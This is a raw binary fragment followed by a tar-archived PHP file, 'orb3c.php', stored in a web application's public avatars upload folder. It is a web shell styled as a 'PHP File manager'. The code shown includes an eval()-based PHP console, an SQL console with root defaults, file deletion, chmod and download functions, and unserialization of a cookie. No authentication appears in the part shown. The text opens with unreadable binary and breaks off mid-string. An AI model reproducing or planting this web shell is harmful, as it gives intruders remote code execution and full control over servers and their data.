>V�|�j�N�7��U��J>��UEܔ��D�����z����DK=�2{H��@";��9>����\�ګ^ħD�!_Be7�E%̇�m�%8,V96����� �l?���xy����MiY�*Dn�W_b��UM��*�O�d�,kC��J�y���B��4^�B&��{l�qx�Z,�mNK��X9��U����YO��x�i�:Xp�/B�L�<Z������%t�E�2�d_���F���Pa׫g2�bR�53�}��ugݗFt0�͞��=6�v�P���/�s]�==mŹ�|./�Г��U'��f��:�Ǯ�[�l=M
�l^ˌ�n�1��V��C(>�Ʀ�̶++M���E�Co:ճ�NkZ�i�V�Dz��Ӝ��
�\`��wҾ�����$��2�@r����lv�]�8	�Kـ\����hN׍��)g����C���^��R����^1�W��^c����\q�eB�^/��˕��o[��+��Z�=��Ja7]nZba��Wk��H�����=7Ѻ��&=�L�Nt��r-�lwj�r4�-�RD��e.�"ǨE$%�j�m���m<Xl�`������pM���'����f�w7�ɜv;��!�;���c�XN�V��$�UH���8pꮧ�����W�����Qȣ���O��E�}O��Ïa���ǁ[o�S����v����9v�G?_��%98�/��2���w��a��LY���_~9~ ��Y@�8�k����s�p���聘���w$��L��rOƱ3���ӄ�>Bs�	u�߀�E� !3�L?�C�4���5b�q�r�IH�QpT�z>����̌�k�$As�VA\&[��<�з��s|��-n�~�	�b�!��
{��8Mg��1L��q���F1�a˟E��M�X@5G_�,_~aU��C��
�1��D�^��K<+��X�������2F���@"J���l]��$��8p��Z#�'Pmg�N<�\%1[�݄��16땣���k��w4�)��m���!h�P�'OF��I>�Hl$M���q�5�?K�;�ӃM�"�H���9���)��ǟ%*���n��X ���?�����O<��D0��k�l�.�9�O��q�!\��7�g��.B�z��&�+���}�CDÃ�n�~q�J�˖藌j��9�.��fpLgW%T��#A'#,U��b���.i[�&GTՏ:T��yy�aܺ/���^�u�������h�0�kT�+����G���KG$��G���u�y���~a��q.�ق�<yY���w�̅F�hf?Oja���p���@H�8�a#Nl�h�X}ļ��x�@�D>@=�Þ�D�d;R��K��0�Tԡ��Rb	%���k�'X�z]��Aw���֏.Y�J���w��#PKN�#�%utQ�c�~�Dz����k_��S�N�{�y���:u_�Z��
�B�I_�K�R)����o����TsU�>�P,����ۄ�hE����3Ц9�big�y��\	�[��UZ7����W�}����"�
��%h�>?;���\LW�<ǐ�b)KQ!t<&�x��/��d�Ϙ���n�;w܈���aZw*�w�(�����nd���	�YisJ�B�"Nݝ_�dݲcd#�-��B"v�k8���p6l���R���V�6u$I���\�����m�⸋�E�Hd�,
p`Q�����!�1O?�n���T���_�yh���	*_��⩛%B�j:y��~�/}-A�
sG�c�}�|���h�]�Kqu��;
H�zG��x����&�—�^|f	�=�`�9��6A��	�*rk��O9��^,��>�����B� j0�
^��q!.U��ez�N�~�*�R�M%Lȧ;�ļ ��&neZ�fwEl�o���,8L�qR<��a��t6�[
J�̞�^�XI)����Ҁ�_=����S�u�f:\�l�J�:��#���Bb��F�C9AX�v�^���%aC�H�ԏĥ���t$�&6��S��Th�<GH�`$
c�x���@�sw$���%r%�X/�x��ȿ	��
�����������LnΜ.W7S\����	l�5��Ҕ'�a�ԹZ�t$�	z��6F~F�-t�T"�A�>�$�:�Y����D_��C��d�PY���Gu���p3q�4��;�Ec����1xqd��=����N5��d%`}':K�XC��%��3��@���.���ka�P�@�f8�ӕ��{mꍝ��~��:��|π�P7ub��L�4@���d
����e���U ���Q�L$���\��ă���	��|<,�����&	*ͮ3�� ^�ա`��]E�l����F,\>����:�{��
X�T4U"Yr��4���&��S.������
��V����җ8���6���`�f߳�~�����M9!�L��~
�1�,&Oc�ްF�?^��q���)9?(�N)��@cR�����H��л> �H6��/7�&�9���× �A���c��;@z)��C��H st�Cd�3K{�M��=��mt�+��w;��s�]�8i+r3�D�cy�lW̎����V<҈��1GK�
�Ͷ;:� C��2�,š_��1!��F�'p��KC��kz��������m����
�d7ʴ���P�}�N�]i^���8��ϑ���U3��8B�����,+)�l\�c�c��cm	.�ަ��|ȉ�+�9�@KUJ�a���f�삓\���-x���ܖ�0\�4�"���(r�M}�:��ݕM"u�������~�J���E+Jw��T[�w��Q�F|�ě���2�"I��+��-�.����X���
?F9��78�����>�C���ic,�;ܨg}w!�\�ZX
=u�)^��Քщ�\��(A��F�-��*i�4m�V�i$!��1�N���IC[�F�_��7b�)̼9�,�����s��[�yͽj'v*��`�ӵ<�^�
������Mc��&������!4
3F���w��2]���2�^���M7q��uҋͅ=�O|['���Fo.�Ml�KF�U9&$��{qa���R��/��WxS2�q�$YH�!X}~�qt�h�	*�6���7��Ř�ۭQ�2���r���:ao�+q�y��g����Ke��X�n$�6j�؃��E�C\co.�j�d�ȼ��oT���
�M�n��$�ƕy��5]�[P^�X�:^1����%"�Kt\UA7�����|ǂ�*d�f;���v �D p,2棛'�K�$[��ݹ۝[�C��������.��fp�uy�S,�`��n}��G����b�33 ����l���`u�����U�5.��������"�����-��1#i�(,��rx��E<�d�o���efk���&��ߣ�c$�ٿ��y���|�����Ǯ�S$�҃�e�B��w�|�Țwt
���z8�$�W���Q���k{C��<�D|��RX=�[��+����2�`��7�fe��Օ T�\�
`��ڃ:��qv�^�#��� ȽN�p��&�#��;��{T��
��|�W��{�~X��c�^�������ѧ7� 99�Z��N�4�?g�=�{><�=��i�h�k�ӻ�5t�7N�.�wZ�ݯ�$�ͫ_y� ��h=O��Rgx�s��k���j��|���J��j����U��u��VN��z��
�?V8��<��X�����0���]1p�NF��e���et�ؼA�<���{Ø���.��v�m���=��ݐ��<*�ǿgv�%���4C��T$����/���.hΫ��G����C,���W�7SMf�>��%���)�/���
���NՄ9<�2f�>x[(��
�M�EPws���S�@V��7s�'���9E`��9���d��E���w���=�pRW{8�/�ݹiŴ�
�1ћ.��#MEUA��G�N�"�Ri�N�V<n�O�����|�Y�U�z�b�w& �#AC��
�m��͠o��
�#�kn&��ij����4�= �)'�@u��3���Id�Cc�R^i���b..��]��e�$��Z�`Η$�KS��
���-:@j�F����M�������=>��h[#"VEY�����MQ�P)��d��W�|�=;K��֍N��Փ�e�O�j�Q��t�#�1ѹ���T
�*<Wj䳭Z���<�i��k񰞃O߾�7����X(2�#���:9��Y: �t�9w�uX����=�D��e���e��|�@�:�l�izg˂���[f���h�T�l�TeF]!)�Wfh�4��p�h�IS�87c�"�x���cF�„�	^�tJ>S�j�rߜ^�iz�+(�%�d#‚��gR��f�? ��??M�O#O�D��k�5.�d�Nv���b�9
��a�bB���D���ZLW*lpp0����!u���
��4\u���g�^,ą��r�\|�v���6��Bp`�]	*��+|//��ެ���­^3.���2
���J�JG}t	��a�d��fia
I���\�<��^�Q0���RB+�(f�J�sy��"�h5�&4T{�5�ș��p)��c��D��mrK��(n{X��c��f������(�?��?�Γ��/5�zj�­=�z`G�f�����S��\~@t����8/~�E�T��0+ɕ������cTfX�C}�����s���a+"��R���%a�
7c+�4�WdY�KS�o��S�[�"�ֶ���B��K�e���w�9>�v2#�&�Kι���Ya��3�RGȣޙ���x��.l��W���wC4y^�tT�0�G扪ac�;ɏ;z����va;����F�w��/�.p����iz��q��$7Rԯ�����jm꟥�E0�V��E�C���f����q����F���?���SLdt�f���s|�\�"��~)O>��P�=*�?���Ʒ�C�Ԭ���v���w�r<���5?�J��n���?a{5�:J�!4�!﷞_��Z��@O!�8�?7�v�KW�%:�ё�r��f����lǒ��'g�%����H
yoX���?�Aw�1��O?��
i�)櫙&.��s��)/�K5�}c�=?$7a��Sf���XFu�>��W����}|3$8+##�g8�7��|��P�;f,��*�H��G=�*z�Fb0�! =6O�dv%�Jo����}��h�DT8Qe2�����l��RYjL��K+��u���h�Y�3*�*3оW�(T�3t�����D�Zt:��c��$��x}��Qm����^�z,�
+ԛ��)�HŖ+����'�t��>������l�(-�R���86h�%�m��0	It	�+n$x��ě�D�m/��!���Q���Q}��z 勃��41*�1v���cQn�p+��[��G->,���~"w��=9s8\��ɩ�/=�k��E.>��	o%Z������Y�B?�N2O���GԠ�3X��SnFF�on�bٸґ�^}���/֣�`�'.:���+6�Cҝ����~�V��!Y�a�V?�;��[��i��H ���1|LLr�#=���δ8��0�H"�k�_����!A쁒��=h1h�|E��8��$
@���������ԗ���[�z����?���yv��ԧ��{3?��7IDS��b���_���ۜ�#\7H>��No�	�k���"�c 7o��/�`61?K�h�>��+:
/�|���my����A7�f��R�R�(��~��o��IZ���b�}�p��3��A�I�FՕ�x���MbX�Y~��
������1��]Cʵ�8�}G��r�a0�
Qe�����h���`�@`�����kb�g���j��x룙sjѢ֜�@4},��?6����Ɔn¡��F�xy���TTc��>��'��,���]�j���������$�Phꛇ���}��׈605��kM��%%��:��Yo>QP���
�P[�)��R$�pa�P�B��F0?;��ƷVq��f��#��C�:*e>���iу���p�#���H0�Q	��E`�3y�,�xf�$�{YR(ň�����,y$�K�튻3�s`���
.������>�_A���ߌ�e�f�>]�$�����K4��t��Ģ�
�wpFچ����:���c8wq�gp�����-�eR�$1>H�A��1'���m��
����C�Xs�Ȑ#���VB�_�78���-{~�x�����ðB�bV�x��	��x<��N_��f���	��v��S�s4O������gn�[���D���u+��[�ٝ]�}�-U��niD̹�(�����r�5*/�qI0�K=���͠��\Ds'�2H�M]j���($�>J>�9�����)�C=0q{����=7˖޻�?�q�i��eG�6^��y��)��nY�p�K�⾈ӡ�0��xbVQ���/��ujɠ_�E|���J�D)����7ذ`����=T#͉��⺋�g�2�:t��R[��DX?�����c8I����}/�cb=:
�ߵ�	R4�+�-��E�*�u(�rB���u�;H��Ss,�[u��:��@�g�	�n�V�Q{q��y�f�ˏ\���:�<��F?�+*k���\�gtu�{eh1��_t��xf��%�p��hxi��G�5$�+$K=P�3�Nr�j�wٵ�����o���}��2�u�	��O�ܠ.Ip.��<�#:�N���ѬV,�mיM ��3ۏs���T� �SAs�á�0W�H�#.ҙl._(>�˕�j��h�ڝ��n��xa8���l.ɋ��j��f����p$�'�>��&jW�kfp�����Am�]3#�{���o1蚁hЁ;���F���f�H�*��;�E䦵���5J0���|&�G��e	�|
�1��2�?3Q�W���"�<c�1)|�
�Ա�P7B���\��}�o�`2�j]
�#!�_�E�0�S�/�@Rob�ʇrP��UT�2>E�O�SX��0>�\1�[P�&؀���-���"�j��1J��!��3+�@����V^
sa—�Շ��P���_��I�����;�'0ƴ}f�S��Ǥ�&7��8FI�?��S�tM;��{����e_�X��+ݓ	W�C�c#�8��Qʱ

<3��|&��r�q��hVWo����C����p("��\����D�@��f��o�~Y����go��Hi@�"�����W�G�ʹ*3����-fɋ�L��<�}Pa�P?��*�M��m�O?>��J3k$�8|��UTDP��=��07{H��'�����+�����繀�xv#,W�����L &-~��
�M��AK�[���{O�M$�&���������B+��n�0�4F�S���Ӌ��\կ��e����y��k3�Y����܃�����7Y��V#&��q��;N�KH�����I˔��O��f�0��e�l�[\,,�<F�z�α�-��RZO�I��s���5� ~�i��}������c��ߐb0��+o��4�@�6��`�����0��5�Ԭ5�R���j�>�v�gO��t�q
��P&h}��G��E�8K�a��P8Xh�<�6G�[�#N�?ܤ��F�3��Xq�����
�.���<s����}k��H,�F?f��q�1�{4s����ɥx?9	ö�8��_����`���eJC�{�*-+4EPα�м=�ӄ��OU�,�3�6`���'���J��)�I�����ƹ)��.MT���W<��d���5t�磑�	)��m���x{�F�OH�	ʿ3�O,�q�Yȇ��1�k�~��u2�}�|'#���!�{��#�j���"a��3[�
[������9��]�����~Y������ϱ<�Kx�}F��k0V�OM�s��b蔦�\�%�9^�3�n�����7}|�>� �!
5п��d�MT�{�̼��]�^۞���������A��,��{��g��6�?l8�z�XV�^��LT5�u�����H��$�X���#'�]ҽ��%Bi�x���l����.�SB|�E�vȋ"�X�2�m����0����H7x��z��N�B��F������[�EA�X��˾f\>�)���C�sM�m��5
Ei|V���`�\�@��EG�����o6�hO<��b������:���sD�!5�x�HTc�A�[��S�c}�f����p((��P�+㮙h0de�h/�C+�A/���/J���˔���!�Ha:Mz�l���{��d6�>H"���frӕZk�G{zZ�@��
����B�-b{x��Bg�9{�-�����tvf9�k�R*閚����B�R�I��uk
`J�����Eȹ���L�����U�h�h�p����w��P��;���t�~`�'���Ne<�S�Bu!O����2;�+r����0�j��_���bs0C�f �=ŦX\����:���̤>AC2�k�n�H�gV�F���B���kH�6�ͪ���`Wꪏt+�7!<��(P��& 	�r���M�����0��&Me�`p��*~�tp�ܥ�7n�r���s�Q��㞜DZ�|�Owl����Գ�˹��܈(��J���7�jF��K+�ʐcF�_�e"������%J��5������I6ӥ��
u��5"�u�����fɮs�Bݝ��&?9���&�\w���n��.�/I$��������l����։�|��
X��Q�:�x�xIן������$I�^�&��K�#�0���4��D�
Ȇ��L���
��@�JQ��lhx��r�Q��:�ߌF;�V�D1���Uʈ�@V|���qci:[��o�`�ƱD��Dg�SA �l���+�2��#aز�"f9څ(�"W�Lrdv��d^�G͍���O�0�3�mQQp&+=��{�t�<��S��T��	Z�Q���|��V��?��D)�T����6�}��� ;�\L�ƕy���xz݊�5��/Qu4'W|�ko�88
k�sc
�9pK? 0���
$�J�)��X�e�Dbhd���9s��Y����h}��hN������߾&�A�U��	H�H���(���:�y��2�a-���>&���� :C��c�c�k&H�		t�&�~?I��R�\0N-�"��5�Y���H6:�.�m���t;2`����D�&
Ts�ŮEXA��Q�	c��di�ž�pƍ(luq�Q�03����j�o�0��m&ˊ��`ͥ�C�`>38�U�@�̋E9�?�P�h��N#�Q��FD1�����Q�ޙh>ܟ�2mF��:¡��wt*��:��lڞ������ul��|b����m�	n�&ѷ�(Nx�-U�A+��c�{��ô��C�F��>�3�u�~��:#��ax��k8*��x��Xv��C��=����XI��9M��ɏ�C?5S�}k���O����G,��FX���T띶�c`<�W�$��X;��8�CF^��<D�s��
Q�^o2O*�'Z�2<�0�&{����&��Ǫd�;���,��'z��T��?��g��;j~��n-KlY�f,"�̚.���l����I�]����O�����&�!���I׌9�3�������)�A��&s^�q�_��������Au�nʨs��e��ӓ�D3ĩ=݃��!N;�A�,�N�,lLr��USmV�<��XȌl��z��W�1�7}g19�d�g_4Q�̶b2$?^~�FJ
�uNF��ٹS�q�Q<-5��H��&h �D�^b�9S`}��rNQ@��$���v���e�	c�;�Xg����s��ۿ�
�n�>\�yS�u�U���L��~�q��U��#�,��qdG7���p�EЧplu5��+.�;I�ۀ��d�7F�m�"°��QQ�,;@޶�5�3�F�~PCbz�o3$oW.�,f��\�����D=�y����p~A�$�|�I�\X@��,�s#q�r!z���¡)%��xa=�&�BEIV����d�Π�;Cm����l���kZL\p��_?�툀0{J�	Ec����Blee��'����kն�9��l���z%cGf&yu���9�����[&$[>�[�4�����NVʑ[��d7��
&�K5{>����G놥������Ό�i:,�C.����$�N��d�Bh0�1`4�QH���{2��n���b���5ߑ����Q����g�Il��?�%:��L�w�H��]k0��
�����Յ"J�����`P�����P���a�;kpY�QT�l�4�����X�,�0Yn6X�yJ�3�5�*DӯP0Xqj��2�9��Ӈ�B��a-�4B2�N$����!j�fD
nj�7>,�}wt%�̄��1�ߩ1B�����9�~��P��T��,%qp0`>�
��&�vz��]x�[��WV#4G�=�?�-�N��asj#=�m�-�oM����	����Aӄ�������������1J2��������5@@G�TP�]�oR~`��P-7����h+�r::�y�O��Ɖ�3���إ\�k��;DC��.��Cm��-;�F=�
jGc^�������{�d�����E1��c��S�ϯۨ8=?��,��&���	K5N�{�&�������V~H|���,.����ϲVpq�su���Cӽ��)��M�cjb�}^�7P��Z�]D����%u��t�M_��rul2�8n��[���'��ex:�&��ܬ���(�nZ��+��*>��蛵��Qg=�ŋ�8/�F���<�b���5��!�]����)�`�O��E�2l�����#:��o�g�?�c@�#5p�B�]�1\��K'��^��}ԭ�U�gmsq�� u��3xo�Iˤp0�-�����l�)�����y�`�a
�w��#����n��{�a�#�M����������u-�JV�~�Y�=y
wk�#�a�j&�Q���B���?������?��XҪ�@orb3c.php.tar000064400000240000000000000000007007 0ustar00var/www/html/back/storage/app/public/avatars/10/4yd0ui/orb3c.php000064400000234756000000000000020230 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fN